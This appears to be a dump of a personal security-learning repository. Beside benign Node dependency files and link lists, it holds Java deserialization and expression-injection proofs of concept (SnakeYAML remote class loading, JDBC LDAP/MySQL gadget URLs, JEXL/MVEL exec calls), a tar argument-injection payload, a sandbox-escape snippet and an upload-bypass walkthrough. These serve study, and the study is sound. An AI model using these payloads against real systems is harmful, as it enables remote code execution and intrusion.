2020/web/PASTEURIZE/node_modules/walkdir/test/dir/foo/x -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/nested-symlink/found-me: -------------------------------------------------------------------------------- 1 | found me! 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/symlinks/dir1/file1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/symlinks/dir1/file1 -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/symlinks/dir2/file2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/symlinks/dir2/file2 -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/symlinks/file: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/symlinks/file -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/endearly.js: -------------------------------------------------------------------------------- 1 | var test = require('tape'), 2 | walk = require('../walkdir.js'); 3 | 4 | test('should be able to end walk after first path',function(t){ 5 | 6 | var paths = []; 7 | 8 | var em = walk('../',function(path){ 9 | paths.push(path); 10 | this.end(); 11 | }); 12 | 13 | em.on('end',function(){ 14 | t.equals(paths.length,1,'should have only found one path'); 15 | t.end(); 16 | }); 17 | 18 | }); 19 | 20 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/ignore-during.js: -------------------------------------------------------------------------------- 1 | var test = require('tape') 2 | var walkdir = require('../') 3 | 4 | test('async events',function(t){ 5 | var paths = [], 6 | files = [], 7 | dirs = []; 8 | 9 | var emitter = walkdir(__dirname+'/dir/foo',function(path){ 10 | paths.push(path.replace(__dirname+'/','')); 11 | if(path === __dirname+'/dir/foo/a') this.ignore(__dirname+'/dir/foo/a'); 12 | }) 13 | 14 | emitter.on('end',function(){ 15 | t.equals(paths.sort().join('|'),'dir/foo/a|dir/foo/x','should have ignored under a'); 16 | t.end(); 17 | }) 18 | 19 | }) 20 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/ignore-first.js: -------------------------------------------------------------------------------- 1 | var test = require('tape') 2 | var walkdir = require('../') 3 | 4 | test('async events',function(t){ 5 | var paths = [], 6 | files = [], 7 | dirs = []; 8 | 9 | var emitter = walkdir(__dirname+'/dir/foo',function(path){ 10 | paths.push(path.replace(__dirname+'/','')); 11 | }).ignore(__dirname+'/dir/foo'); 12 | 13 | emitter.on('end',function(){ 14 | t.equals(paths.length,0,'should have no paths') 15 | t.end(); 16 | }) 17 | 18 | }) 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/ignore.js: -------------------------------------------------------------------------------- 1 | var test = require('tape') 2 | var walkdir = require('../') 3 | 4 | test('async events',function(t){ 5 | var paths = [], 6 | files = [], 7 | dirs = []; 8 | 9 | var emitter = walkdir(__dirname+'/dir/foo',function(path){ 10 | paths.push(path.replace(__dirname+'/','')); 11 | }).ignore(__dirname+'/dir/foo/a'); 12 | 13 | emitter.on('end',function(){ 14 | t.equals(paths.sort().join('|'),'dir/foo/a|dir/foo/x','should have ignored under a'); 15 | t.end(); 16 | }) 17 | 18 | }) 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/which-module/index.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | module.exports = function whichModule (exported) { 4 | for (var i = 0, files = Object.keys(require.cache), mod; i < files.length; i++) { 5 | mod = require.cache[files[i]] 6 | if (mod.exports === exported) return mod 7 | } 8 | return null 9 | } 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yallist/iterator.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | module.exports = function (Yallist) { 3 | Yallist.prototype[Symbol.iterator] = function* () { 4 | for (let walker = this.head; walker; walker = walker.next) { 5 | yield walker.value 6 | } 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/apply-extends.d.ts: -------------------------------------------------------------------------------- 1 | import { Dictionary } from './common-types'; 2 | export declare function applyExtends(config: Dictionary, cwd: string, mergeExtends?: boolean): Dictionary; 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/argsert.d.ts: -------------------------------------------------------------------------------- 1 | export declare function argsert(callerArguments: any[], length?: number): void; 2 | export declare function argsert(expected: string, callerArguments: any[], length?: number): void; 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/is-promise.d.ts: -------------------------------------------------------------------------------- 1 | export declare function isPromise(maybePromise: T | Promise): maybePromise is Promise; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/is-promise.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | exports.isPromise = void 0; 4 | function isPromise(maybePromise) { 5 | return !!maybePromise && 6 | !!maybePromise.then && 7 | (typeof maybePromise.then === 'function'); 8 | } 9 | exports.isPromise = isPromise; 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/levenshtein.d.ts: -------------------------------------------------------------------------------- 1 | export declare function levenshtein(a: string, b: string): number; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/obj-filter.d.ts: -------------------------------------------------------------------------------- 1 | export declare function objFilter(original?: T, filter?: (k: keyof T, v: T[keyof T]) => boolean): T; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/obj-filter.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | exports.objFilter = void 0; 4 | const common_types_1 = require("./common-types"); 5 | function objFilter(original = {}, filter = () => true) { 6 | const obj = {}; 7 | common_types_1.objectKeys(original).forEach((key) => { 8 | if (filter(key, original[key])) { 9 | obj[key] = original[key]; 10 | } 11 | }); 12 | return obj; 13 | } 14 | exports.objFilter = objFilter; 15 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/parse-command.d.ts: -------------------------------------------------------------------------------- 1 | import { NotEmptyArray } from './common-types'; 2 | export declare function parseCommand(cmd: string): ParsedCommand; 3 | export interface ParsedCommand { 4 | cmd: string; 5 | demanded: Positional[]; 6 | optional: Positional[]; 7 | } 8 | export interface Positional { 9 | cmd: NotEmptyArray; 10 | variadic: boolean; 11 | } 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/process-argv.d.ts: -------------------------------------------------------------------------------- 1 | export declare function getProcessArgvWithoutBin(): string[]; 2 | export declare function getProcessArgvBin(): string; 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/yerror.d.ts: -------------------------------------------------------------------------------- 1 | export declare class YError extends Error { 2 | name: string; 3 | constructor(msg?: string | null); 4 | } 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/build/lib/yerror.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | Object.defineProperty(exports, "__esModule", { value: true }); 3 | exports.YError = void 0; 4 | class YError extends Error { 5 | constructor(msg) { 6 | super(msg || 'yargs error'); 7 | this.name = 'YError'; 8 | Error.captureStackTrace(this, YError); 9 | } 10 | } 11 | exports.YError = YError; 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/locales/pirate.json: -------------------------------------------------------------------------------- 1 | { 2 | "Commands:": "Choose yer command:", 3 | "Options:": "Options for me hearties!", 4 | "Examples:": "Ex. marks the spot:", 5 | "required": "requi-yar-ed", 6 | "Missing required argument: %s": { 7 | "one": "Ye be havin' to set the followin' argument land lubber: %s", 8 | "other": "Ye be havin' to set the followin' arguments land lubber: %s" 9 | }, 10 | "Show help": "Parlay this here code of conduct", 11 | "Show version number": "'Tis the version ye be askin' fer", 12 | "Arguments %s and %s are mutually exclusive" : "Yon scurvy dogs %s and %s be as bad as rum and a prudish wench" 13 | } 14 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/yargs/yargs.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | // an async function fails early in Node.js versions prior to 8. 4 | async function requiresNode8OrGreater () {} 5 | requiresNode8OrGreater() 6 | 7 | const { Yargs, rebase } = require('./build/lib/yargs') 8 | const Parser = require('yargs-parser') 9 | 10 | exports = module.exports = Yargs 11 | exports.rebase = rebase 12 | 13 | // allow consumers to directly use the version of yargs-parser used by yargs 14 | exports.Parser = Parser 15 | -------------------------------------------------------------------------------- /docs/CTF/README.md: -------------------------------------------------------------------------------- 1 | - Google CTF 2020 2 | - web 3 | - Pasteurize: [WriteUp](https://github.com/Dvd848/CTFs/blob/master/2020_GoogleCTF/Pasteurize.md) 4 | - SafeHTMLPaste:[WriteUp](https://blog.bi0s.in/2020/08/26/Web/GoogleCTF20-SafeHtmlPaste/) 5 | - log-me-in:[WriteUp](https://github.com/Dvd848/CTFs/blob/master/2020_GoogleCTF/Log-Me-In.md) 6 | - \*CTF 2021 7 | - web 8 | - oh-my-bet:[WriteUp](https://blog.brycec.me/posts/starctf2021_writeups/) 9 | -------------------------------------------------------------------------------- /docs/Read.md: -------------------------------------------------------------------------------- 1 | - 最常访问的网站 2 | - [Sec-News安全文摘](http://wiki.ioin.in/) 3 | - [先知社区](https://xz.aliyun.com/) 4 | - [知道创宇404实验室](https://paper.seebug.org/) 5 | - 最常访问的一些安全Blog 6 | - [Mi1k7ea](https://www.mi1k7ea.com/) 7 | - [phithon](https://www.leavesongs.com/) 8 | - 其他 9 | - Twitter 10 | -------------------------------------------------------------------------------- /docs/Web/SSRF/images/11: -------------------------------------------------------------------------------- 1 | 11 2 | -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713154255844.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713154255844.png -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713155048051.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713155048051.png -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713161310881.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713161310881.png -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713161425324.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713161425324.png -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713161524588.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713161524588.png -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713161750305.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713161750305.png -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713161923265.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713161923265.png -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713162303794.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713162303794.png -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713162449745.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713162449745.png -------------------------------------------------------------------------------- /docs/Web/SSRF/images/image-20200713162903353.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/Web/SSRF/images/image-20200713162903353.png -------------------------------------------------------------------------------- /docs/Web/命令注入/绕过与利用/命令参数绕过/tar命令绕过.md: -------------------------------------------------------------------------------- 1 | ## -–use-compress-program参数 2 | 3 | ``` 4 | -I, --use-compress-program=PROG 5 | filter through PROG (must accept -d) 6 | ``` 7 | 8 | tar命令的–use-compress-program参数选项可以执行shell命令,若存在参数注入则可利用。 9 | 10 | payload示例如下: 11 | 12 | ``` 13 | tar --use-compress-program='touch /tmp/hacked' -cf /tmp/passwd /etc/passwd 14 | ``` 15 | -------------------------------------------------------------------------------- /docs/upload/upload-labs通关之旅/Pass-01.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ![截屏2020-07-23 下午10.02.24](images/%E6%88%AA%E5%B1%8F2020-07-23%20%E4%B8%8B%E5%8D%8810.02.24.png) 4 | 5 | 将\.png后缀修改为\.php。 6 | 7 | ![截屏2020-07-23 下午10.03.02](images/%E6%88%AA%E5%B1%8F2020-07-23%20%E4%B8%8B%E5%8D%8810.03.02.png) 8 | 9 | 返回主页面,发现已经上传成功。 10 | 11 | ![截屏2020-07-23 下午10.00.51](images/%E6%88%AA%E5%B1%8F2020-07-23%20%E4%B8%8B%E5%8D%8810.00.51.png) 12 | 13 | 成功获取shell。 14 | 15 | ![截屏2020-07-23 下午9.59.57](images/%E6%88%AA%E5%B1%8F2020-07-23%20%E4%B8%8B%E5%8D%889.59.57.png) 16 | 17 | -------------------------------------------------------------------------------- /docs/upload/upload-labs通关之旅/Pass-02.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/upload/upload-labs通关之旅/Pass-02.md -------------------------------------------------------------------------------- /docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午10.00.51.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午10.00.51.png -------------------------------------------------------------------------------- /docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午10.02.24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午10.02.24.png -------------------------------------------------------------------------------- /docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午10.03.02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午10.03.02.png -------------------------------------------------------------------------------- /docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午9.44.54.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午9.44.54.png -------------------------------------------------------------------------------- /docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午9.46.33.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午9.46.33.png -------------------------------------------------------------------------------- /docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午9.59.57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/upload/upload-labs通关之旅/images/截屏2020-07-23 下午9.59.57.png -------------------------------------------------------------------------------- /docs/漏洞挖掘/按漏洞类型划分/Race Condition/0.条件竞争漏洞原理篇.assets/time_interval.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/漏洞挖掘/按漏洞类型划分/Race Condition/0.条件竞争漏洞原理篇.assets/time_interval.png -------------------------------------------------------------------------------- /docs/漏洞挖掘/按漏洞类型划分/反序列化/java、php和python反序列化的区别.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/漏洞挖掘/按漏洞类型划分/反序列化/java、php和python反序列化的区别.md -------------------------------------------------------------------------------- /docs/漏洞挖掘/按编程语言划分/Java/反序列化/Jackson反序列化/JackSon反序列化漏洞分析.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/漏洞挖掘/按编程语言划分/Java/反序列化/Jackson反序列化/JackSon反序列化漏洞分析.pdf -------------------------------------------------------------------------------- /docs/漏洞挖掘/按编程语言划分/安全工具/Python静态污点分析工具Pyre.assets/issue_visualization.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/漏洞挖掘/按编程语言划分/安全工具/Python静态污点分析工具Pyre.assets/issue_visualization.png -------------------------------------------------------------------------------- /docs/漏洞挖掘/按编程语言划分/安全工具/Python静态污点分析工具Pyre.assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/漏洞挖掘/按编程语言划分/安全工具/Python静态污点分析工具Pyre.assets/logo.png -------------------------------------------------------------------------------- /docs/静态程序分析/README.md: -------------------------------------------------------------------------------- 1 | - [南京大学静态程序分析课程文档](https://pascal-group.bitbucket.io/teaching.html) 2 | - [南京大学静态程序分析课程视频](https://www.bilibili.com/video/av91858985/) 3 | - [tabby原理分析](https://tttang.com/archive/1696/) 4 | - [Tai-e框架教学版本](https://tai-e.pascal-lab.net/lectures.html) 5 | - [Soot-Tutorial](https://github.com/noidsirius/SootTutorial) 6 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningDeserialization/src/main/java/com/SugarP1g/deserialization/XStream/IPerson.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.deserialization.XStream; 2 | 3 | public interface IPerson { 4 | void output(); 5 | } 6 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningDeserialization/src/main/java/com/SugarP1g/deserialization/XStream/Person.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.deserialization.XStream; 2 | 3 | public class Person implements IPerson { 4 | String name; 5 | int age; 6 | 7 | public void output() { 8 | System.out.print("Hello, this is " + this.name + ", age " + this.age); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningDeserialization/src/main/java/com/SugarP1g/deserialization/Yaml/POC.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.deserialization.Yaml; 2 | 3 | import org.yaml.snakeyaml.Yaml; 4 | 5 | public class POC { 6 | public static void main(String[] args) { 7 | // String normal = "key: hello yaml"; 8 | String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader " 9 | + "[[!!java.net.URL [\"http://127.0.0.1:8000/\"]]]]"; 10 | Yaml yaml = new Yaml(); 11 | Object obj = yaml.load(malicious); 12 | System.out.print(obj); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningDeserialization/src/main/java/com/SugarP1g/deserialization/Yaml/ScriptEngineManager/POC.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.deserialization.Yaml.ScriptEngineManager; 2 | 3 | import org.yaml.snakeyaml.Yaml; 4 | 5 | public class POC { 6 | public static void main(String[] args) { 7 | // String normal = "key: hello yaml"; 8 | String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader " 9 | + "[[!!java.net.URL [\"http://127.0.0.1:8000/\"]]]]"; 10 | // String malicious = args[1]; 11 | Yaml yaml = new Yaml(); 12 | Object obj = yaml.load(malicious); 13 | System.out.print(obj); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningDeserialization/src/main/java/com/SugarP1g/deserialization/Yaml/ScriptEngineManager/server/META-INF/services/javax.script.ScriptEngineFactory: -------------------------------------------------------------------------------- 1 | EvilScriptEngine 2 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningDeserialization/src/main/java/com/SugarP1g/deserialization/jdbc/db2/Demo.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.deserialization.jdbc.db2; 2 | 3 | import java.sql.Connection; 4 | import java.sql.DriverManager; 5 | 6 | public class Demo { 7 | 8 | public static void main(String[] args) throws Exception { 9 | Class.forName("com.ibm.db2.jcc.DB2Driver"); 10 | Connection conn = DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;"); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningDeserialization/src/main/java/com/SugarP1g/deserialization/jdbc/mysql/client/Client.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.deserialization.jdbc.mysql.client; 2 | 3 | import java.sql.*; 4 | 5 | 6 | public class Client { 7 | public static void main(String[] args) throws Exception { 8 | Class.forName("com.mysql.jdbc.Driver"); 9 | // String jdbc_url = args[1]; 10 | String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?" + 11 | "autoDeserialize=true" + 12 | "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; 13 | Connection con = DriverManager.getConnection(jdbc_url, "root", "root"); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningDeserialization/src/main/resources/XMLDecoderPayload.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | /System/Applications/Calculator.app/Contents/MacOS/Calculator 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningDeserialization/src/main/resources/XStreamPayload.xml: -------------------------------------------------------------------------------- 1 | 2 | foo 3 | 4 | java.lang.Comparable 5 | 6 | 7 | 8 | calc.exe 9 | 10 | 11 | start 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningExpressInjection/src/main/java/com/SugarP1g/felInjection/POC.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.felInjection; 2 | 3 | import com.greenpineyu.fel.FelEngine; 4 | import com.greenpineyu.fel.FelEngineImpl; 5 | 6 | public class POC { 7 | public static void main(String[] args) throws Exception { 8 | 9 | String exp = args[1]; 10 | // String exp = "$(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"calc\")"; 11 | insecureFelCall(exp); 12 | } 13 | 14 | private static void insecureFelCall(String exp) { 15 | FelEngine fel = new FelEngineImpl(); 16 | Object result = fel.eval(exp); 17 | System.out.println(result); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningExpressInjection/src/main/java/com/SugarP1g/jexlInject/POCWithoutSandbox.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.jexlInject; 2 | 3 | import org.apache.commons.jexl3.*; 4 | 5 | public class POCWithoutSandbox { 6 | public static void main(String[] args) { 7 | JexlEngine je = new JexlBuilder().create(); 8 | JexlContext jc = new MapContext(); 9 | String exp = "1.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc.exe\")"; 10 | JexlExpression jex = je.createExpression(exp); 11 | System.out.println(jex.evaluate(jc)); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningExpressInjection/src/main/java/com/SugarP1g/mvelInjection/POC.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.mvelInjection; 2 | 3 | import org.mvel2.MVEL; 4 | 5 | import java.util.HashMap; 6 | import java.util.Map; 7 | 8 | public class POC { 9 | 10 | public static void main(String[] args) { 11 | // String exp = args[1]; 12 | String exp = "a=123;new java.lang.ProcessBuilder(\"calc\").start();"; 13 | insecureMvelCall(exp); 14 | } 15 | 16 | private static void insecureMvelCall(String exp) { 17 | Map vars = new HashMap(); 18 | vars.put("foobar", new Integer(100)); 19 | String result = MVEL.eval(exp, vars).toString(); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningRCE/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.SugarP1g 8 | LearningRCE 9 | 1.0-SNAPSHOT 10 | 11 | 12 | com.SugarP1g 13 | JavaSecurity 14 | 1.0-SNAPSHOT 15 | 16 | 17 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningRCE/src/main/java/com/SugarP1g/runtime/Reflection.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.runtime; 2 | 3 | 4 | import java.lang.reflect.Method; 5 | 6 | public class Reflection { 7 | 8 | public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException { 9 | Class clazz = Class.forName("java.lang.Runtime"); 10 | System.out.println(clazz); 11 | Method mthd = clazz.getMethod("exec", String.class); 12 | System.out.println(mthd); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningReDoS/src/main/java/com/SugarP1g/ReDoS/POC.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.ReDoS; 2 | 3 | public class POC { 4 | public static void main(String[] args) { 5 | String regex = "^(a+)*$"; 6 | for (int i = 16; i < 70; i++) { 7 | StringBuffer sb = new StringBuffer(); 8 | for (int j = 0; j <= i; j++) { 9 | sb.append("a"); 10 | } 11 | sb.append("!"); 12 | System.out.println(sb); 13 | String text = new String(sb); 14 | System.out.println(text.matches(regex)); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningSandboxEscape/src/main/java/com/SugarP1g/securityManager/ByCreateClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.securityManager; 2 | 3 | public class ByCreateClassLoader { 4 | 5 | public static void main(String[] args) throws Exception { 6 | MyClassLoader mcl = new MyClassLoader(); 7 | Class c1 = Class.forName("ClassLoaderExpolit", true, mcl); 8 | Object obj = c1.newInstance(); 9 | System.out.println(obj.getClass().getClassLoader()); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningSandboxEscape/src/main/java/com/SugarP1g/securityManager/BySetSecurityManager.java: -------------------------------------------------------------------------------- 1 | package com.SugarP1g.securityManager; 2 | 3 | public class BySetSecurityManager { 4 | public static void main(String[] args) throws Exception { 5 | System.setSecurityManager(null); 6 | Runtime.getRuntime().exec("calc"); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningSandboxEscape/src/main/resources/policy/permitCreateClassLoader.policy: -------------------------------------------------------------------------------- 1 | grant{ 2 | permission java.lang.RuntimePermission "createClassLoader"; 3 | permission java.io.FilePermission "<>", "read"; 4 | }; 5 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningSandboxEscape/src/main/resources/policy/permitReflect.policy: -------------------------------------------------------------------------------- 1 | grant { 2 | permission java.lang.reflect.ReflectPermission "suppressAccessChecks"; 3 | permission java.lang.RuntimePermission "accessDeclaredMembers"; 4 | }; 5 | -------------------------------------------------------------------------------- /src/JavaSecurity/LearningSandboxEscape/src/main/resources/policy/permitSetSecurityManager.policy: -------------------------------------------------------------------------------- 1 | grant { 2 | permission java.lang.RuntimePermission "setSecurityManager"; 3 | }; 4 | -------------------------------------------------------------------------------- /src/PythonSecurity/HPP/01-client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from urllib.parse import urlparse 5 | 6 | o = urlparse('http://127.0.0.1:8000/test?param=123¶m=456') 7 | print(o.query) 8 | print(type(o.query)) 9 | -------------------------------------------------------------------------------- /src/PythonSecurity/HPP/01-flask_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from flask import Flask 5 | from flask import request 6 | 7 | app = Flask(__name__) 8 | 9 | 10 | @app.route('/') 11 | def hello_world(): 12 | passwd = request.args.get("passwd") 13 | print(type(passwd)) 14 | print(passwd) 15 | return 'Hello, World!' 16 | 17 | 18 | app.run(debug=True) 19 | -------------------------------------------------------------------------------- /src/PythonSecurity/HPP/02-urllib_parse.py: 